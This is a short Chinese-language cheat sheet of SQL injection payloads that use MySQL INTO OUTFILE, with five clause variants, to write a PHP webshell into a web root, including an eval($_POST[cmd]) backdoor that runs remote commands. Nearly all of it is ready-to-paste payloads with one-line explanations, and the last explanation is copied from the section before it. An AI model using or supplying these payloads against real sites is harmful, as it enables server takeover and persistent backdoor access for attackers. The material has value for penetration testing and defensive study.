一、union select 后写入
最常见的写入方式,union select 后跟 into outfile 语句
1’ union select 1,2,’<?php @eval($_POST[cmd]);?>’ into outfile “C:\phpStudy\PHPTutorial\WWW\shell.php” --+
1’ union select 1,2,’<?php @eval($_POST[cmd]);?>’ into outfile “C:/phpStudy/PHPTutorial/WWW/shell.php” --+
注意:在windows下,位置的分隔符为 / 或 \。
二、lines terminated by 写入
id=1’ into outfile ‘C:/phpStudy/PHPTutorial/WWW/shell.php’ lines terminated by ‘<?php @eval($_POST[cmd]);?>’ --+
id=1’ limit 1 into outfile ‘C:/phpStudy/PHPTutorial/WWW/shell.php’ lines terminated by ‘<?php phpinfo() ?>’ --+
通过select语句查询的内容写入文件,也就是 1’ into outfile ‘C:/phpStudy/PHPTutorial/WWW/shell.php’ 这样写的原因,
然后利用 lines terminated by 语句拼接webshell的内容。lines terminated by 可以理解为 以每行终止的位置添加 xx 内容。
三、lines starting by 写入
?id=1’ into outfile ‘C:/phpStudy/PHPTutorial/WWW/shell.php’ lines starting by ‘<?php phpinfo() ?>’; --+
利用 lines starting by 语句拼接webshell的内容。lines starting by 可以理解为 以每行开始的位置添加 xx 内容。
四、fields terminated by 写入
?id=1’ into outfile ‘C:/phpStudy/PHPTutorial/WWW/shell.php’ fields terminated by ‘<?php phpinfo() ?>’ --+
利用 fields terminated by 语句拼接webshell的内容。fields terminated by 可以理解为 以每个字段的位置添加 xx 内容。
五、COLUMNS terminated by 写入
?id=1’ into outfile ‘C:/phpStudy/PHPTutorial/WWW/shell.php’ COLUMNS terminated by ‘<?php phpinfo() ?>’ --+
利用 fields terminated by 语句拼接webshell的内容。fields terminated by 可以理解为 以每个字段的位置添加 xx 内容。